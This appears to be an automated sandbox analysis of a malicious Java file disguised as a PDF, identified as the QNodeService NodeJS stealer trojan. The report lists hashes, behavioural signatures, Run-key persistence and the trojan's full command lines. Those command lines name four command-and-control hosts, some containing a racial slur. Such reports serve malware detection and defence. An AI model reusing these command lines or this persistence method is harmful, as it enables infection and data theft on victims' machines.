Analysis

  • max time kernel
    66s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    07-07-2020 09:55

General

  • Target

    CONSULTA PLASTOMEX 00671__pdf.jar

  • Size

    11KB

  • MD5

    a606c29fff75cdd6d6d9731712a47d72

  • SHA1

    02b0dc7bb973fd0ead73cd85b3b8a34ff2644440

  • SHA256

    01aed0709103132b5ec407879fa57e8130696922843d92bffbed8075c7d8ce0e

  • SHA512

    c917378781f67f9b997c5ecfd1a4094c96b3cee7b9493839d5f2a865e80545c8f46d223765fc9c8a7c0003f848da808bc01ac3531e753c9e8009262a2ae44c9e

Malware Config

Signatures

  • QNodeService NodeJS Trojan 1 IoCs
  • Adds Run entry to start application 2 TTPs 2 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of WriteProcessMemory 8 IoCs
  • Loads dropped DLL 4 IoCs
  • QNodeService

    is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\CONSULTA PLASTOMEX 00671__pdf.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:428
    • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
      C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://coolnigga.linkpc.net --central-base-url https://mynigga.servehttp.com --central-base-url https://coolboy.serveftp.com --central-base-url https://badboy.linkpc.net
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:3152
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-4f9a1ccf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-4f9a1ccf.cmd\"""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2540
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-4f9a1ccf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-4f9a1ccf.cmd\""
          4⤵
          • Adds Run entry to start application
          PID:4092
      • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
        C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://coolnigga.linkpc.net --central-base-url https://mynigga.servehttp.com --central-base-url https://coolboy.serveftp.com --central-base-url https://badboy.linkpc.net
        3⤵
        • Checks processor information in registry
        • Loads dropped DLL
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:2160

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js

  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ffi-napi\prebuilds\win32-x64\node.napi.node

  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\native-reg\prebuilds\win32-x64\node.napi.node

  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ref-napi\prebuilds\win32-x64\node.napi.node

  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\sqlite3\lib\binding\node-v79-win32-x64\node_sqlite3.node

  • memory/2160-114-0x0000000000000000-mapping.dmp

  • memory/2160-116-0x0000038E13940000-0x0000038E13941000-memory.dmp

    Filesize

    4KB

  • memory/2540-112-0x0000000000000000-mapping.dmp

  • memory/3152-108-0x0000000000000000-mapping.dmp

  • memory/3152-110-0x000002F163CC0000-0x000002F163CC1000-memory.dmp

    Filesize

    4KB

  • memory/4092-113-0x0000000000000000-mapping.dmp